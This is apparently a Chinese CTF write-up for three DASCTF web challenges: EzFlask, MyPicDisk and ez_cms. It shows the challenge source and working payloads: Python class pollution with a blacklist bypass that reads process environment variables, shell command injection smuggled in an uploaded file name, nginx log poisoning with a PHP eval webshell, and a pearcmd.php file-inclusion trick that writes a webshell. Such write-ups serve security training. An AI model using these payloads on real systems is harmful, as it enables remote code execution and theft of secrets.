DASCTF WEB WP

EzFlask


import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

审计源码，存在标志性函数merge，为python类原型链污染，继续审计发现可利用函数open(‘’,’’).read()，构造json代码，修改__FILE__的数值为想要读取的内容，这里读取环境变量

1 2	{"username":"123","password":"123","__init__":{"__globals__": {"__file__":"/proc/1/environ"}}} //前面的username和password是为了绕过代码检查

提交后经检查发现字符串__init__被过滤

这里可以使用unicode编码进行绕过
\u0000\u005f\u0000\u005f\u0000\u0069\u0000\u006e\u0000\u0069\u0000\u0074\u0000\u005f\u0000\u005f
{"username":"123","password":"123","\u0000\u005f\u0000\u005f\u0000\u0069\u0000\u006e\u0000\u0069\u0000\u0074\u0000\u005f\u0000\u005f":{"__globals__": {"__file__":"/proc/1/environ"}}}
或者使用user类的check函数进行实例化绕过
{"username":"123","password":"123","check":{"__globals__": {"__file__":"/proc/1/environ"}}}

得到flag

MyPicDisk

<?php
session_start();
error_reporting(0);
class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        if (preg_match("/\//i", $filename)){
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
            throw new Error("hacker!");
        }
        if (!is_file($filename)){
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
        system("ls -all ".$this->filename);
    }
}
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
  echo '
<form method="POST">
    username：<input type="text" name="username"></p>
    password：<input type="password" name="password"></p>
    <input type="submit" value="登录" name="submit"></p>
</form>
';
  $xml = simplexml_load_file('/tmp/secret.xml');
  if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }
}
else{
    if ($_SESSION['user'] !== 'admin') {
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }
  echo "<!-- /y0u_cant_find_1t.zip -->";
  if (!$_GET['file']) {
    foreach (scandir(".") as $filename) {
      if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
      }
    }
    echo '
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片：<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  ';
    if ($_FILES['file']) {
      $filename = $_FILES['file']['name'];
      if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        die("hacker!");
      }
      if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
          echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
      } else {
        die('failed');
      }
    }
  }
  else{
      $filename = $_GET['file'];
      if ($_GET['todo'] === "md5"){
          echo md5_file($filename);
      }
      else {
          $file = new FILE($filename);
          if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
              echo "<img src='../" . $filename . "'><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
          } else if ($_GET['todo'] === "remove") {
              $file->remove();
              echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
          } else if ($_GET['todo'] === "show") {
              $file->show();
          }
      }
  }
}
?>
</body>
</html>

分析源码

如果不存在session['user']，出现登录表单，提交表单之后就会给session['user']进行赋值。
第一次登录后再回到原表单就会触发js提示不是admin，并获得源码文件的位置，进入下一个if

如果不存在file，那就触发文件上传表单，action为index.php，如果存在上传文件，那么就对文件后缀进行判断并返回上传成功提示
如果存在file，那么就将文件名赋值给$filename，然后引用FILE类对文件名进行处理，construct主要是过滤了/和多个.，且判断了文件是否存在，如果文件存在，那么就执行system函数

具体操作

#index.php

<!DOCTYPE html>
<html>
<head>
    <title>用户登录</title>
</head>
<body>
    <h2>用户登录</h2>
    <form action="http://2f3204e1-d884-4172-86aa-0ac751e580de.node4.buuoj.cn:81/index.php" method="post" enctype="multipart/form-data">
        <label for="username">用户名：</label>
        <input type="text" id="username" name="username" required><br>

        <label for="password">密码：</label>
        <input type="password" id="password" name="password" required><br>

<label for="file">文件名：</label>
    <input type="file" name="file" id="file"><br>

        <input type="submit" name="submit" value="提交">
    </form>
</body>
</html>

写表单进行登录和文件上传，上传文件之后再用另一个界面进行get传file，传入的file名必须和上传的文件名是一样的，进而触发system命令执行。
由于对/和.具有严格过滤，所以这里采用编码绕过
;`echo Y2F0IC9hZGoq | base64 -d`;.jpg
bp传参需要把空格改为+号

ez_cms

1	看到是个网页直接盲猜一手后台管理界面/admin，然后弱口令试了一下就进去了

这里是有一个任意文件读取漏洞，but好像没什么卵用

然后就想是否可以进行日志包含
添加UA：<?php eval($_POST[chuling]); ?>
然后访问url:   url/admin/r=../../../../../../var/log/nginx/access.log
用蚁剑尝试连接，结果失败了。

这时候就又来了一个pearcmd.php文件包含

参考博客：https://blog.csdn.net/Mrs_H/article/details/122386511

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3

具体操作为?+config-create+/&r=/../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST['1']);?>+/tmp/chuling2.php

成功之后直接蚁剑连接得到flag